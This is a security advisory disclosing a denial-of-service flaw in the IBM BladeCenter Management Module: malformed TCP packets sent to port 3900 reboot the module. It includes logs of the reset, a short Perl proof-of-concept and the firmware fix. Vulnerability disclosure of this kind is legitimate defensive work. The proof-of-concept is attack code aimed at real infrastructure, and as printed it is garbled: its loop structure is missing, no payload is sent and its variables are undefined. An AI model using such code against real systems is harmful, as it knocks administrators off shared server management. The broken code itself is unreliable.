IBM Bladecenter Management Module - Denial of Service







[DSECRG-09-049] IBM BladeCenter Management Module - DoS vulnerability

This device can be remotely rebooted by sending a malformed TCP packets

Digital Security Research Group [DSecRG] Advisory #DSECRG-09-049

Application: IBM BladeCenter Managmet Module
Versions Affected: before BPET50G
Vendor URL:
Bug: DoS
Exploits: YES
Reported: 24.07.2009
Vendor response: 26.07.2009
Date of Public Advisory: 15.04.2010
Solution: YES
Author: Alexey Sintsov
of Digital Security Research Group [DSecRG]


The BladeCenter management module is a hot-swappable hardware device plugged into the BladeCenter
chassis management bay. The management module functions as a system-management processor (service processor)
and keyboard, video, and mouse (KVM) multiplexor for blade servers. This device can be remotely rebooted.


Attacker can reset management module by sending about five or ten malformed packets on remote presence port (3900/tcp). All legal
users, who use management module and management network will be disconnected.

Network log:

Jul 6 16:16:48 212.X.X.X NOTICE mgmt: Port MGT1 DISABLED and MGT2 ENABLED because Management Module 2 is active
Jul 6 16:16:49 212.X.X.X ALERT system: link down on port MGT1
Jul 6 16:16:51 212.X.X.X NOTICE system: link up on port MGT2
Jul 6 16:17:18 212.X.X.X NOTICE mgmt: Management via all ports is DISABLED thru I2C Control Register
Jul 6 16:17:20 212.X.X.X NOTICE mgmt: New Management IP Address 192.168.Y.Z configured
Jul 6 16:17:23 212.X.X.X NOTICE mgmt: Management via all ports is ENABLED thru I2C Control Register

BladeCenter log:

9 I SERVPROC 07/06/09, 16:17:19 (SN#YK31337BR11L) Management Module in bay 1 is standby.
10 I SERVPROC 07/06/09, 16:16:54 (SN#YK31337BR11L) Management module network initialization complete
11 I SERVPROC 07/06/09, 16:16:51 (SN#YK31337BR11L) ENET Hostname=BladeMM, IP=192.168.Y.Y, GW=, Mask=
12 I SERVPROC 07/06/09, 16:16:50 (SN#YK31337BR11L) Management Module in bay 2 is primary.
13 E SERVPROC 07/06/09, 16:16:45 AMM reset due to watchdog timeout

Proof of Concept:

# BladeCenter AMM DoS
# by Alexey Sintsov
# Digital Security Research Group
# []

use Socket;


for ($i=1;$i<=20;$i++)
socket(SERVER, AF_INET, SOCK_STREAM, getprotobyname('tcp'));
$target_ = inet_aton($target);

if (connect(SERVER, $paddr))
print "$i - fire!\n";
print "$i - refused!\n";
print "\nDone\n";


The issue has been fixed in AMM firmware version bpet50g and later.



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